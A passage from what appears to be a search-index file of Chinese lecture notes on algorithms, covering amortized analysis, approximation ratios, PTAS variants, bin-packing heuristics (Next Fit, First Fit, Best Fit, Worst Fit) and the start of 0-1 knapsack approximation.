\u7c7b\u4f3c\u7684\uff0c\u6211\u4eec\u6709</p> \\[ \\begin{align*} S_1(X) + S_2(G) + 1 &amp;= S_2(X) \\\\ \\log S_1(X) + \\log S_2(G) + 2 &amp;= \\log 4S_1(X)S_2(G) \\leqslant \\log(S_1(X)+S_2(G))^2 \\\\ &amp;= 2\\log (S_2(X)-1) \\leqslant 2R_2(X) \\end{align*} \\] <p>\u5176\u5b9e\uff0c\u8fd9\u4e5f\u662f\u6709\u8ff9\u53ef\u5faa\u7684\uff0c\u4e3b\u8981\u60f3\u6cd5\u5c31\u662f\u7528\u4e0d\u7b49\u5f0f\u7684\u65f6\u5019\uff0c\u5de6\u8fb9\u4e24\u68f5\u6811\u6ca1\u6709\u4e92\u76f8\u5305\u542b\u7684\u5173\u7cfb</p> <p>\u603b\u7684\u6765\u8bf4\uff0c\u6bcf\u6b21\u64cd\u4f5c\u7684 amortized cost  \u6700\u591a\u4e0d\u8d85\u8fc7 \\(3 (R_2(X) - R_1(X))+1=O(\\log N)\\)</p> <p>M\u6b21\u64cd\u4f5c\u7684\u603b\u4ee3\u4ef7\u4e3a \\(O(M\\log N)\\)</p> <p>\u8fd8\u6ca1\u5b8c\uff0c\u6211\u4eec\u4ecd\u7136\u9700\u8981\u8bc1\u660e\uff0c\u5f53\u521d\u59cb\u52bf\u80fd\u4e0d\u4e3a0\u65f6\uff0c\u6211\u4eec\u7684\u644a\u8fd8\u4ee3\u4ef7\u662f\u6b63\u786e\u7684\uff0c\u5176\u5b9e\u5373\u4f7f\u4e0d\u4e3a0\uff0c\u6211\u4eec\u53ef\u4ee5\u786e\u5b9a\u5176\u521d\u59cb\u52bf\u80fd\u662f\u6709\u754c\u7684\u4e00\u4e2a\u6570</p> \\[  \\sum_{i=1}^{n}\\hat{c}_i = \\sum_{i=1}^{n}c_i+\\Phi(D_n)-\\Phi(D_{0}) \\] <p>\u5219\u5e73\u5747\u644a\u8fd8\u4ee3\u4ef7\u4e3a</p> \\[   \\frac{\\sum_{i=1}^{n}\\hat{c}_i}{n} = \\frac{\\sum_{i=1}^{n}c_i}{n}+\\frac{\\Phi(D_n)}{n}-\\frac{\\Phi(D_{0})}{n} \\] <p>\u5f53n\u8d8b\u8fd1\u4e8e\u65e0\u7a77\u5927\u65f6\uff0c\u5c3e\u9879\u81ea\u7136\u5c31\u53bb\u6389\u4e86\uff0c\u6240\u4ee5\u6211\u4eec\u7684\u644a\u8fd8\u4ee3\u4ef7\u4ecd\u7136\u5927\u4e8e\u7b49\u4e8e\u5b9e\u9645\u4ee3\u4ef7\uff0c\u662f\u5408\u7406\u7684</p>"},{"location":"NOTE/ADS/wk10/","title":"\u8fd1\u4f3c\u7b97\u6cd5","text":"<p> \u7ea6 2053 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 7 \u5206\u949f</p> <p>\u5bf9\u4e8e\u4e00\u4e2a\u6700\u4f18\u5316\u95ee\u9898\u7684\u7b97\u6cd5\uff0c\u4e3b\u8981\u6709\u4ee5\u4e0b\u4e09\u4e2a\u671f\u671b</p> <p>Note</p> <p>1.\u7b97\u6cd5\u9700\u8981\u80fd\u627e\u5230\u786e\u5207\u7684\u6700\u4f18\u89e3 2.\u7b97\u6cd5\u9700\u8981\u80fd\u9ad8\u6548(\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185)\u8fd0\u884c 3.\u7b97\u6cd5\u662f\u901a\u7528\u7684,\u9700\u8981\u53ef\u4ee5\u89e3\u51b3\u4e00\u7c7b\u95ee\u9898\u4e2d\u7684\u6240\u6709\u5b9e\u4f8b\uff0c\u800c\u4e0d\u4ec5\u4ec5\u662f\u5355\u4e2a\u5b9e\u4f8b\u6709\u6548</p> <p>\u7136\u800c\uff0c\u5bf9\u4e8e\u67d0\u4e9b\u95ee\u817f\uff0c\u6211\u4eec\u6709\u53ef\u80fd\u65e0\u6cd5\u5b9e\u73b0\u4ee5\u4e0a\u4e09\u4e2a\u671f\u671b\uff0c\u4f8b\u5982NPC\u95ee\u9898\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u9000\u800c\u6c42\u5176\u6b21\uff0c\u505a\u4e00\u4e9b\u59a5\u534f\uff1b</p> <ul> <li>\u5982\u679c\u7b97\u6cd5\u820d\u5f03\u7b2c\u4e8c\u4e2a\u671f\u671b\uff0c\u5219\u662f\u7528\u4f8b\u5982\u56de\u6eaf\u7b49\u65b9\u6cd5\u5728\u6307\u6570\u65f6\u95f4\u5185\u89e3\u51b3\u95ee\u9898\uff0c\u8fd9\u5bf9\u4e8e\u8f93\u5165\u4e0d\u5927\u7684\u60c5\u51b5\u662f\u53ef\u4ee5\u63a5\u53d7\u7684\uff1b</li> <li>\u5982\u679c\u820d\u5f03\u7b2c\u4e09\u4e2a\u671f\u671b\uff0c\u6211\u4eec\u76f8\u5f53\u4e8e\u4e3a\u95ee\u9898\u627e\u5230\u4e00\u4e9b\u5bb9\u6613\u89e3\u51b3\u7684\u7279\u4f8b\uff1b</li> <li>\u5982\u679c\u820d\u5f03\u7b2c\u4e00\u4e2a\u671f\u671b\uff0c\u4f46\u6211\u4eec\u80fd\u4fdd\u8bc1\u9ad8\u6548\u627e\u5230\u7684\u89e3\u662f\u548c\u771f\u6b63\u7684\u6700\u4f18\u89e3 \u201c\u76f8\u5dee\u4e0d\u5927\u201d \u7684\uff0c\u90a3\u4e48\u6211\u4eec\u79f0\u8fd9\u7c7b\u7b97\u6cd5\u4e3a\u8fd1\u4f3c\u7b97\u6cd5\u3002</li> </ul>"},{"location":"NOTE/ADS/wk10/#_2","title":"\u57fa\u672c\u6982\u5ff5","text":"<p>Definition</p> <p>\u5047\u8bbe\u6709\u67d0\u7c7b\u95ee\u9898 \\(\\mathcal{I}\\)\uff08\u4f8b\u5982\u80cc\u5305\u95ee\u9898\uff09\uff0c\u5176\u4e2d\u7684\u4e00\u4e2a\u5177\u4f53\u5b9e\u4f8b\u8bb0\u4e3a \\(I\\)\uff08\u5f53\u7ed9\u5b9a\u95ee\u9898\u7684\u53c2\u6570\u5b9a\u4e49\u7684\u65f6\u5019\u5373\u4e3a\u4e00\u4e2a\u5b9e\u4f8b\uff09\uff0c\u4e14\u6709\u4e00\u4e2a\u590d\u6742\u5ea6\u4e3a\u591a\u9879\u5f0f\u7684\u8fd1\u4f3c\u7b97\u6cd5 \\(A\\)\u3002\u5b9a\u4e49\uff1a</p> <ul> <li>\\(A(I)\\) \u4e3a\u7b97\u6cd5 \\(A\\) \u5728\u5b9e\u4f8b \\(I\\) \u4e0a\u5f97\u5230\u7684\u89e3\uff1b</li> <li>\\(\\mathbf{OPT}(I)\\) \u4e3a\u5b9e\u4f8b \\(I\\) \u7684\u6700\u4f18\u89e3\u3002</li> </ul> <p>\u8003\u8651 \\(I\\) \u662f\u6700\u5c0f\u5316\u95ee\u9898\uff0c\u82e5\u5b58\u5728 \\(r &gt; 1\\)\uff0c\u5bf9\u4efb\u610f\u7684 \\(I\\) \u90fd\u6709\uff1a</p> \\[ A(I) \\leqslant r \\cdot \\mathbf{OPT}(I), \\] <p>\u90a3\u4e48\u79f0 \\(A\\) \u4e3a\u8be5\u95ee\u9898\u7684 \\(r\\)-\u8fd1\u4f3c\u7b97\u6cd5\uff08\u5373\u5bf9\u4e8e\u4efb\u4f55\u53ef\u80fd\u7684\u95ee\u9898\u5b9e\u4f8b\uff0c\\(A\\) \u7ed9\u51fa\u7684\u89e3\u90fd\u4e0d\u4f1a\u6bd4\u6700\u4f18\u89e3\u7684 \\(r\\) \u500d\u5927\uff09\u3002\u6211\u4eec\u7279\u522b\u5173\u5fc3\u5176\u4e2d\u53ef\u4ee5\u53d6\u5230\u7684\u6700\u5c0f \\(r\\)\uff0c\u79f0\uff1a</p> \\[ \\rho = \\inf\\{r : A(I) \\leqslant r \\cdot \\mathbf{OPT}(I), \\forall I\\} \\] <p>\u4e3a \u8fd1\u4f3c\u6bd4\uff08approximation ratio\uff09\uff0c\u5373\u7b97\u6cd5 \\(A\\) \u6700\u7d27\u7684\u8fd1\u4f3c\u754c\u3002\u5b83\u53ef\u4ee5\u7b49\u4ef7\u5b9a\u4e49\u4e3a\uff1a</p> \\[ \\rho = \\sup_{\\mathcal{I}} \\frac{A(I)}{\\mathbf{OPT}(I)} \\] <p>\u5373\u8fd9\u4e2a\u6bd4\u503c\u5728\u591a\u5b9e\u4f8b\u4e2d\u7684\u6bd4\u503c\u662f\u6700\u7d27\u7684\u754c\u3002\u53cd\u4e4b\uff0c\u5982\u679c\u662f\u6700\u5927\u5316\u95ee\u9898\uff0c\u90a3\u4e48\u4e0a\u8ff0\u516c\u5f0f\u6539\u4e3a\uff1a</p> \\[ \\rho = \\sup_{\\mathcal{I}} \\frac{\\mathbf{OPT}(I)}{A(I)} \\] <p>\u5c06\u4e24\u8005\u5408\u5e76\u8d77\u6765\uff0c\u53ef\u4ee5\u7edf\u4e00\u5199\u4f5c\uff1a</p> \\[ \\rho = \\sup_{\\mathcal{I}} \\left\\{ \\frac{\\mathbf{OPT}(I)}{A(I)}, \\frac{A(I)}{\\mathbf{OPT}(I)} \\right\\}. \\] <p>\u7531\u4e8e\\(OPT\\)\u7b97\u6cd5\u4e00\u822c\u662f\u96be\u4ee5\u786e\u5b9a\u7684\uff0c\u6240\u4ee5\u786e\u5b9a\u8fd1\u4f3c\u6bd4\u4e00\u822c\u6709\u4ee5\u4e0b\u4e24\u4e2a\u6b65\u9aa4</p> <ol> <li> <p>\u9996\u5148\u5bfb\u627e\u5230\u4e00\u4e2a \\( r &gt; 1 \\)\uff0c\u5bf9\u4e8e\u4efb\u4f55\u5b9e\u4f8b \\( I \\)\uff0c\u90fd\u6709 \\( A(I) \\leqslant r \\cdot \\text{OPT}(I) \\)\uff08\u53ef\u4ee5\u9996\u5148\u627e\u5230 \\( \\text{OPT}(I) \\) \u7684\u4e00\u4e2a\u4e0b\u754c \\( \\text{LB}(I) \\leqslant \\text{OPT}(I) \\)\uff0c\u7136\u540e\u8ba9 \\( A(I) \\leqslant r \\cdot \\text{LB}(I) \\) \u5373\u53ef\uff09\uff1b</p> </li> <li> <p>\u63a5\u4e0b\u6765\u8bc1\u660e \\( r \\) \u662f\u4e0d\u53ef\u6539\u8fdb\u7684\uff0c\u5373\u5bf9\u4e8e\u4efb\u610f\u7684 \\( \\epsilon &gt; 0 \\)\uff0c\u90fd\u5b58\u5728\u5728\u4e00\u4e2a\u5b9e\u4f8b \\( I_\\epsilon \\)\uff0c\u4f7f\u5f97 \\( A(I_\\epsilon) \\geqslant (r-\\epsilon) \\cdot \\text{OPT}(I_\\epsilon) \\)\u3002</p> </li> </ol>"},{"location":"NOTE/ADS/wk10/#ptas","title":"PTAS","text":"<p>PTAS\uff08\u591a\u9879\u5f0f\u65f6\u95f4\u8fd1\u4f3c\u65b9\u6848\uff0cPolynomial time approximation scheme\uff09\uff1a\u5b58\u5728\u7b97\u6cd5 A\uff0c\u4f7f\u5f97\u5bf9\u6bcf\u4e00\u4e2a\u56fa\u5b9a\u7684 \\(\\varepsilon &gt; 0\\)\uff0c\u5bf9\u4efb\u610f\u7684\u5b9e\u4f8b \\(I\\) \u90fd\u6709</p> \\[     A(I) \\leqslant (1+\\varepsilon) \\cdot \\text{OPT}(I) \\] <p>\u4e14\u7b97\u6cd5 \\( A \\) \u7684\u8fd0\u884c\u65f6\u95f4\u53ef\u4ee5\u88ab\u95ee\u9898\u89c4\u6a21 \\( |I| \\) \u7684\u591a\u9879\u5f0f\u4e0a\u754c\u6240\u9650\u5236\u3002\u5219\u79f0 \\( A \\) \u662f\u8be5\u95ee\u9898\u7684\u4e00\u4e2a PTAS\u3002</p> <p>\u7406\u8bba\u4e0a\uff0c\u7b97\u6cd5 \\( A \\) \u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u53ef\u4ee5\u8fd1\u4f3c\uff1a\u4e0d\u8fc7\u4e0d\u540c\u7684 \\( \\varepsilon \\)\uff0c\\( A \\) \u7684\u8fd0\u884c\u65f6\u95f4\u4e5f\u53ef\u80fd\u4e0d\u53ef\u80fd\u3002\u4f8b\u5982\uff0c\u5982\u679c\u7b97\u6cd5\u53ef\u4ee5\u7ed9\u51fa\u4e00\u4e2a\u590d\u6742\u5ea6\u4e3a \\( O(|I|^{1/\\epsilon}) \\) \u7684\u89e3\uff0c\u8fd9\u6837\u7b97\u6cd5\u7684\u8868\u73b0\u5c31\u4f1a\u5f88\u7cdf\u7cd5\uff0c\u56e0\u4e3a\u6307\u6570\u5f88\u5927\u3002\u4e00\u822c\u53ef\u4ee5\u5c06 PTAS \u7684\u590d\u6742\u5ea6\u8bb0\u4e3a \\( O(|I|^{(1/\\epsilon)}) \\)\u3002</p>"},{"location":"NOTE/ADS/wk10/#eptasfptas","title":"EPTAS\u548cFPTAS","text":"<p>EPTAS (Efficient PTAS): \u5728 PTAS \u7684\u57fa\u7840\u4e0a\uff0c\u8981\u6c42\u7b97\u6cd5 \\( A \\) \u7684\u590d\u6742\u5ea6\u662f \\( O(|I|^c) \\)\uff0c\u5176\u4e2d \\( c &gt; 0 \\) \u662f\u4e0e\\(\\varepsilon\\)\u65e0\u5173\u7684\u5e38\u6570\u3002\u53ef\u4ee5\u5c06 EPTS \u7684\u590d\u6742\u5ea6\u8bb0\u4e3a \\( |I^{O(1)}| f(1/\\varepsilon\uff09\\)\u3002</p> <p>FPTAS (Fully PTAS): \u5728 PTAS \u7684\u57fa\u7840\u4e0a\uff0c\u8981\u6c42\u7b97\u6cd5 \\( A \\) \u7684\u8fd0\u884c\u65f6\u95f4\u5173\u4e8e \\( |I| \\) \u548c \\(\\varepsilon\\) \u90fd\u662f\u591a\u9879\u5f0f\u9879\uff0c \u5373\u53ef\u4ee5\u5c06 FPTAS \u7684\u590d\u6742\u5ea6\u8bb0\u4e3a  \\(|I|^{O(1)} (1/\\varepsilon)^{O(1)}\\)</p>"},{"location":"NOTE/ADS/wk10/#_3","title":"\u88c5\u7bb1\u95ee\u9898(\u4e00\u7ef4)","text":"<p>\u95ee\u9898\u63cf\u8ff0</p> <p>\u6709 \\(n\\) \u4e2a\u7269\u54c1\uff0c\u6bcf\u4e2a\u7269\u54c1\u7684\u5927\u5c0f\u4e3a \\(s_i\\)\uff0c\u6709\u82e5\u5e72\u4e2a\u7bb1\u5b50\uff0c\u6bcf\u4e2a\u7bb1\u5b50\u7684\u5927\u5c0f\u4e3a \\(C\\)\uff0c\u8981\u6c42\u5c06\u6240\u6709\u7269\u54c1\u653e\u5165\u7bb1\u5b50\u4e2d\uff0c\u4f7f\u5f97\u6bcf\u4e2a\u7bb1\u5b50\u7684\u5927\u5c0f\u4e0d\u8d85\u8fc7 \\(C\\)\uff0c\u5e76\u4e14\u4f7f\u5f97\u6240\u9700\u7684\u7bb1\u5b50\u6570\u76ee\u5c3d\u53ef\u80fd\u5c11\u3002</p> <p>\u7ed9\u5b9a\u82e5\u5e72\u4e2a\u7269\u54c1\uff0c\u5224\u65ad\u5b83\u4eec\u662f\u5426\u53ef\u7531\u4e24\u4e2a\u7bb1\u5b50\u88c5\u4e0b\u662f NP \u5b8c\u5168\u7684</p> <p>\u63a5\u4e0b\u6765\u6211\u4eec\u9ed8\u8ba4\\(C=1\\)\uff0c\u5373\u7bb1\u5b50\u7684\u5927\u5c0f\u4e3a1\uff0c\u65b9\u4fbf\u8ba8\u8bba\u3002</p> <p>\u5173\u4e8e\u4e00\u7ef4\u88c5\u7bb1\u95ee\u9898\uff0c\u9664\u975e \\(P=NP\\)\uff0c\u5426\u5219\u4e0d\u5b58\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u7684\u7b97\u6cd5\u6ee1\u8db3</p> \\[     A(I) \\leqslant \\alpha \\cdot \\text{OPT}(I) \\] <p>\u5176\u4e2d \\(\\alpha &lt; \\frac{3}{2}\\)\u3002</p> <p>Proof</p> <p>\u4f7f\u7528\u53cd\u8bc1\u6cd5\uff0c\u5982\u679c\u5b58\u5728\u8fd1\u4f3c\u6bd4\u5c0f\u4e8e \\(\\frac{3}{2}\\) \u7684\u7b97\u6cd5\uff0c\u90a3\u4e48\u53ef\u4ee5\u7528\u8fd9\u4e2a\u7b97\u6cd5\\(A\\)\u6765\u89e3\u51b3NPC\u7684\u5224\u65ad\u7269\u54c1\u662f\u5426\u53ef\u4ee5\u7531\u4e24\u4e2a\u7bb1\u5b50\u88c5\u4e0b\u7684\u95ee\u9898\u3002</p> <ul> <li> <p>\u5982\u679c\u7269\u54c1\u53ef\u4ee5\u7531\u4e24\u4e2a\u7bb1\u5b50\u88c5\u4e0b\uff0c\u90a3\u4e48\\(OPT=2\\)\uff0c\u5219\\(A(I) &lt; \\frac{3}{2} \\cdot 2 = 3\\)\uff0c\u5373\\(A(I) &lt; 3\\)\uff1b\u6b64\u65f6\\(A(I)=2\\)\uff0c\u90a3\u4e48\\(A\\)\u53ef\u4ee5\u5224\u65ad\uff1b</p> </li> <li> <p>\u5982\u679c\u7269\u54c1\u4e0d\u53ef\u4ee5\u7531\u4e24\u4e2a\u7bb1\u5b50\u88c5\u4e0b\uff0c\u90a3\u4e48\\(OPT \\geqslant 3\\)\uff0c\u5219\\(A(I)\\)\u81f3\u5c11\u4e3a\\(3\\)\uff0c\u5373\\(A(I) \\geqslant 3\\)\uff1b\u4f46\u662f\u7531\u4e8e\u8fd1\u4f3c\u6bd4\u5c0f\u4e8e\\(\\frac{3}{2}\\)\uff0c\u6240\u4ee5\u7531\\(A(I)\\)\u53ef\u4ee5\u5224\u65ad\u6b64\u65f6OPT\u4e0d\u53ef\u80fd\u662f\\(2\\)\u3002\u6b64\u65f6\u8fd9\u4e2a\u8fd1\u4f3c\u7b97\u6cd5\\(A\\)\u5c31\u53ef\u4ee5\u5224\u65ad\u7269\u54c1\u662f\u5426\u53ef\u4ee5\u7531\u4e24\u4e2a\u7bb1\u5b50\u88c5\u4e0b\u3002</p> </li> </ul> <p>\u7efc\u4e0a\uff0c\u6211\u4eec\u7528\u591a\u9879\u5f0f\u7b97\u6cd5\\(A\\)\u6765\u89e3\u51b3NPC\u95ee\u9898\uff0c\u6240\u4ee5\u53ea\u53ef\u80fd\u6709P=NP\u3002</p> <p>\u5728\u88c5\u7bb1\u95ee\u9898\u4e2d\uff0c\u6211\u4eec\u4e00\u822c\u4e0d\u5173\u5fc3\u5168\u90e8\u7684\u5b9e\u4f8b\uff0c\u800c\u5173\u5fc3 \\(OPT(I)\\) \u8f83\u5927\u7684\u90a3\u4e9b\u5b9e\u4f8b\u3002\u56e0\u6b64\u5b9a\u4e49 \u201c\u6e10\u8fd1\u8fd1\u4f3c\u6bd4\uff08asymptotic approximation ratio\uff09\u201d \u5982\u4e0b\uff1a</p> <p>Definition</p> <p>\u5bf9\u4e8e\u4e00\u7ef4\u88c5\u7bb1\u95ee\u9898\uff0c\u5b9a\u4e49\u6e10\u8fd1\u8fd1\u4f3c\u6bd4\u4e3a,\u5bf9\u4e8e\u4efb\u610f\u5e38\u6570 \\(\\alpha \\geqslant 1\\),\u5bf9\u4e8e\u4efb\u610f\u5b9e\u4f8b \\(I\\)\uff0c\u5b58\u5728\u5e38\u6570 \\(k\\)\uff0c\u4f7f\u5f97</p> \\[     A(I) \\leqslant \\alpha \\cdot OPT(I) + k \\] <p>\u5219\u79f0\u6240\u6709\u6ee1\u8db3\u4e0a\u5f0f\u7684 \\(\\alpha\\) \u7684\u4e0b\u786e\u754c\u4e3a\\(A\\)\u6e10\u8fd1\u8fd1\u4f3c\u6bd4\u3002</p> <p>\\(k\\)\u53ef\u4ee5\u662f\u4e00\u4e2a\u5e38\u6570\uff0c\u4e5f\u53ef\u4ee5\u662f\\(OPT(I)\\)\u7684\u4e00\u4e2a\u9ad8\u9636\u65e0\u7a77\u5c0f\u3002</p> <p>Quote</p> <p>\u88c5\u7bb1\u95ee\u9898\u4e2d\uff0c\u82e5\u6240\u6709\u7684\u7269\u54c1\u4fe1\u606f\u5728\u5f00\u59cb\u88c5\u7bb1\u524d\u5df2\u77e5\uff0c\u5219\u5b83\u662f\u79bb\u7ebf\uff08offline\uff09\u95ee    \u9898\uff1b\u82e5\u521d\u59cb\u65f6\u7269\u54c1\u4fe1\u606f\u5e76\u4e0d\u5168\u90e8\u7ed9\u51fa\uff0c\u4f8b\u5982\u7269\u54c1\u5728\u4f20\u9001\u5e26\u4e0a\u9010\u4e2a\u5230\u8fbe\uff0c\u9700\u8981\u6211\u4eec\u5373\u65f6\u5b89\u6392\uff0c\u800c\u6211\u4eec\u5bf9\u672a\u5230\u8fbe\u7269\u54c1\u4fe1\u606f\u4e00\u65e0\u6240\u77e5\uff0c\u540c\u65f6\u505a\u51fa\u7684\u51b3\u5b9a\u65e0\u6cd5\u66f4\u6539\uff0c\u6b64\u65f6\u79f0\u4e3a\u5728\u7ebf\uff08online\uff09\u95ee\u9898\u3002\u201c\u8fd1\u4f3c\u6bd4\u201d \u901a\u5e38\u7528\u6765\u63cf\u8ff0\u79bb\u7ebf\u95ee\u9898\u8fd1\u4f3c\u7b97\u6cd5\u7684\u6027\u80fd\u3002\u800c\u5bf9\u4e8e\u5728\u7ebf\u95ee\u9898\uff0c\u4e00\u822c\u7528 \u201c\u7ade\u4e89\u6bd4\uff08competitive ratio\uff09\u201d \u7684\u6982\u5ff5\u3002</p>"},{"location":"NOTE/ADS/wk10/#next-fit","title":"Next Fit","text":"<p>Next Fit \u7b97\u6cd5\u662f\u4e00\u79cd\u7b80\u5355\u7684\u88c5\u7bb1\u7b97\u6cd5\uff0c\u5176\u601d\u60f3\u662f\uff1a\u5bf9\u4e8e\u6bcf\u4e2a\u7269\u54c1\uff0c\u5c1d\u8bd5\u5c06\u5176\u653e\u5165\u5f53\u524d\u7bb1\u5b50\uff0c\u5982\u679c\u653e\u4e0d\u4e0b\uff0c\u5219\u5173\u95ed\u5f53\u524d\u7bb1\u5b50\uff0c\u5e76\u5f00\u51fa\u4e00\u4e2a\u65b0\u7bb1\u5b50\uff0c\u5c06\u5176\u653e\u5165\uff1b</p> <p>Next Fit \u7b97\u6cd5\u6709\u4e00\u4e2a\u6027\u8d28\uff1a\u76f8\u90bb\u4e24\u4e2a\u7bb1\u5b50\u7684\u5927\u5c0f\u4e4b\u548c\u80af\u5b9a\u5927\u4e8e1\uff0c\u5426\u5219\u5c31\u4e0d\u9700\u8981\u5f00\u65b0\u7bb1\u5b50\uff1b</p> <p>\u6839\u636e\u8fd9\u4e2a\uff0c\u6211\u4eec\u53ef\u4ee5\u8bc1\u660e\uff1a</p> \\[     NF(I) \\leqslant 2 \\cdot OPT(I) - 1 \\] <p>\u5373</p> \\[     OPT(I) \\geqslant \\frac{NF(I) + 1}{2} \\] <p>\u6362\u53e5\u8bdd\u8bf4\uff0c\u5982\u679c\u6211\u4eec\u7684\u7b97\u6cd5\u7684\u7bb1\u5b50\u6570\u76ee\u7528\u4e86\\(2M\\)\u4e2a\uff0c\u90a3\u4e48\u6700\u4f18\u89e3\u81f3\u5c11\u8981\u7528\\(M+1\\)\u4e2a\u7bb1\u5b50\u3002</p> <p>Proof</p> <p>\u4ee4 \\( S(B_i) \\) \u4e3a\u7bb1\u5b50 \\( B_i \\) \u4e2d\u7269\u54c1\u7684\u5927\u5c0f\u4e4b\u548c\uff0c\u90a3\u4e48\u6709\uff1a</p> \\[\\begin{cases}     S(B_1) + S(B_2) &gt; 1 \\\\     S(B_3) + S(B_4) &gt; 1 \\\\     \\ldots \\\\     S(B_{2M-1}) + S(B_{2M}) &gt; 1 \\end{cases}\\] <p>\u5c06\u6240\u6709\u4e0d\u7b49\u5f0f\u76f8\u52a0\uff0c\u5f97\u5230\uff1a</p> \\[ \\sum_{i=1}^{2M} S(B_i) &gt; M \\] <p>\u6240\u4ee5\u603b\u7684\u5927\u5c0f\u4e25\u683c\u5927\u4e8e \\(M\\)\uff0c\u5373\u6700\u4f18\u89e3\u7bb1\u5b50\u6570\u76ee\u81f3\u5c11\u4e3a \\(M+1\\)\u3002</p> <p>\u4e8b\u5b9e\u4e0a\\(NF\\)\u88c5\u7bb1\u7684\u8fd1\u4f3c\u6bd4\u5c31\u662f\\(2\\),\u4e0d\u4f1a\u518d\u6709\u6bd4\u8fd9\u4e2a\u5c0f\u7684\u4e86\uff1b</p> <p>\u4e0b\u786e\u754c\u7684\u4f8b\u5b50</p> <p>\u8003\u8651\\(M\\)\u7ec4\u7269\u54c1\uff0c\u6bcf\u7ec4\u7269\u54c1\u7684\u5927\u5c0f\u4e3a\\(\\dfrac{1}{2},\\varepsilon\\),\u6700\u540e\u518d\u52a0\u4e00\u4e2a\\(\\dfrac{1}{2}\\),\u4e14\u6ee1\u8db3\\(M\\varepsilon &lt; 1\\),\u6b64\u65f6\\(NF\\)\u7b97\u6cd5\u9700\u8981\\(M+1\\)\u4e2a\u7bb1\u5b50\uff0c\u800c\u6700\u4f18\u89e3\u9700\u8981\\(M/2+1\\)\u4e2a\u7bb1\u5b50\uff0c\u6240\u4ee5\\(NF\\)\u7b97\u6cd5\u7684\u4e0b\u786e\u754c\u4e3a\\(2\\)\u3002</p>"},{"location":"NOTE/ADS/wk10/#any-fit","title":"Any Fit","text":"<p>\u8fd9\u662f\u4e00\u7c7b\u7684Fit\u65b9\u6848\uff0c\u6ee1\u8db3: \u5f53\u7269\u54c1\u5230\u8fbe\u65f6\uff0c\u9664\u975e\u6240\u6709\u76ee\u524d\u6253\u5f00\u7684\u7bb1\u5b50\u90fd\u65e0\u6cd5\u88c5\u4e0b\u8be5\u7269\u54c1\uff0c\u624d\u5141\u8bb8\u6253\u5f00\u4e00\u4e2a\u65b0\u7bb1\u5b50</p> <p>\u4e3b\u8981\u5305\u62ec\uff1a</p> <ul> <li>(FF)First Fit: \u6309\u7bb1\u5b50\u6253\u5f00\u7684\u987a\u5e8f\u4ece\u65e9\u5230\u665a\u68c0\u67e5,\u5c06\u7269\u54c1\u653e\u5165\u7b2c\u4e00\u4e2a\u80fd\u653e\u4e0b\u7684\u7bb1\u5b50\u4e2d\uff1b</li> <li>(BF)Best Fit: \u5c06\u7269\u54c1\u653e\u5165\u5269\u4f59\u7a7a\u95f4\u6700\u5c0f\u7684\u7bb1\u5b50\u4e2d,\u6700\u5927\u5316\u5229\u7528\u7bb1\u5b50\u7a7a\u95f4\uff1b</li> <li>(WF)Worst Fit: \u5c06\u7269\u54c1\u653e\u5165\u5269\u4f59\u7a7a\u95f4\u6700\u5927\u7684\u7bb1\u5b50\u4e2d;</li> </ul> <p>\u524d\u9762\u7684\u6240\u6709 Fit \u7b97\u6cd5\u90fd\u662f\u5728\u7ebf\u7b97\u6cd5\u3002\u6b64\u5916\uff0cAny Fit \u7684\u4e09\u79cd\u7b97\u6cd5\u90fd\u6ee1\u8db3\u76f8\u90bb\u4e24\u4e2a\u7bb1\u5b50\u7269\u54c1\u5c3a\u5bf8\u4e4b\u548c\u5927\u4e8e1\uff0c\u56e0\u6b64\u5b83\u4eec\u90fd\u4e0d\u4f1a\u6bd4 NF \u5dee\u3002\u800c\u524d\u9762 NF \u7684\u4e0b\u754c\u5b9e\u4f8b\u4e5f\u9002\u7528\u4e8e WF\uff0c\u56e0\u6b64 WF \u548c NF \u4e00\u6837\u5dee\u3002</p> <p>FF VS BF</p> <p>\u4ece\u5b9a\u4e49\u4e0a\u6765\u770b\uff0cBF\u6700\u5927\u5316\u5229\u7528\u4e86\u7a7a\u95f4\uff0c\u4f3c\u4e4e\u8868\u73b0\u4f1a\u6bd4FF\u597d\uff0c\u4f46\u662f\u5b9e\u9645\u4e0a\u5e76\u4e0d\u80fd\u5f88\u597d\u5224\u65ad\u4e24\u8005\u7684\u4f18\u52a3\uff1a</p> <ul> <li>0.5\u30010.7\u30010.1\u30010.4\u30010.3\uff0cFF=2\uff1bBF=3\uff1b</li> <li>0.5\u30010.7\u30010.3\u30010.5\uff0cFF=3\uff1bBF=2\uff1b</li> </ul> <p>\u4ece\u4e0a\u9762\u7684\u4f8b\u5b50\u53ef\u4ee5\u770b\u51fa\uff0cBF\u5e76\u4e0d\u4e00\u5b9a\u6bd4FF\u597d\uff0cFF\u4e5f\u4e0d\u4e00\u5b9a\u6bd4BF\u597d\uff1b</p> <p>FF\u548cBF\u7684\u8fd1\u4f3c\u6bd4\u90fd\u662f1.7\uff1b</p>"},{"location":"NOTE/ADS/wk10/#0-1","title":"0-1\u80cc\u5305\u95ee\u9898","text":""},{"location":"NOTE/ADS/wk10/#2-","title":"\u57fa\u7840\u76842-\u8fd1\u4f3c\u7b97\u6cd5","text":"<p>\u5728\u8d2a\u5fc3\u7b97\u6cd5\u4e2d\uff0c\u5982\u679c\u662f\u89e3\u51b3\u5206\u6570\u80cc\u5305\u95ee\u9898\uff0c\u90a3\u4e48\u53ef\u4ee5\u4f7f\u7528\u8d2a\u5fc3\u7b97\u6cd5\uff0c\u662f\u8ba9\u80cc\u5305\u7684\u6bcf\u4e00\u5355\u4f4d\u91cd\u91cf\u7684\u4ef7\u503c\u6700\u5927\u5316\uff1b\u4f46\u662f\u5982\u679c\u662f\u6574\u6570\u76840-1\u80cc\u5305\u95ee\u9898\uff0c\u90a3\u4e48\u6709\u4ee5\u4e0b\u53cd\u4f8b\uff1a</p> <p>\u6709\u4e24\u4e2a\u7269\u54c1\uff0c\u7b2c\u4e00\u4e2a\u7269\u54c1\u7684\u4ef7\u503c\u4e3a 1\uff0c\u91cd\u91cf\u4e3a 1\uff0c\u7b2c\u4e8c\u4e2a\u7269\u54c1\u7684\u4ef7\u503c\u4e3a 2\uff0c\u91cd\u91cf\u4e3a 3\uff0c\u80cc\u5305\u7684\u5bb9\u91cf\u4e3a 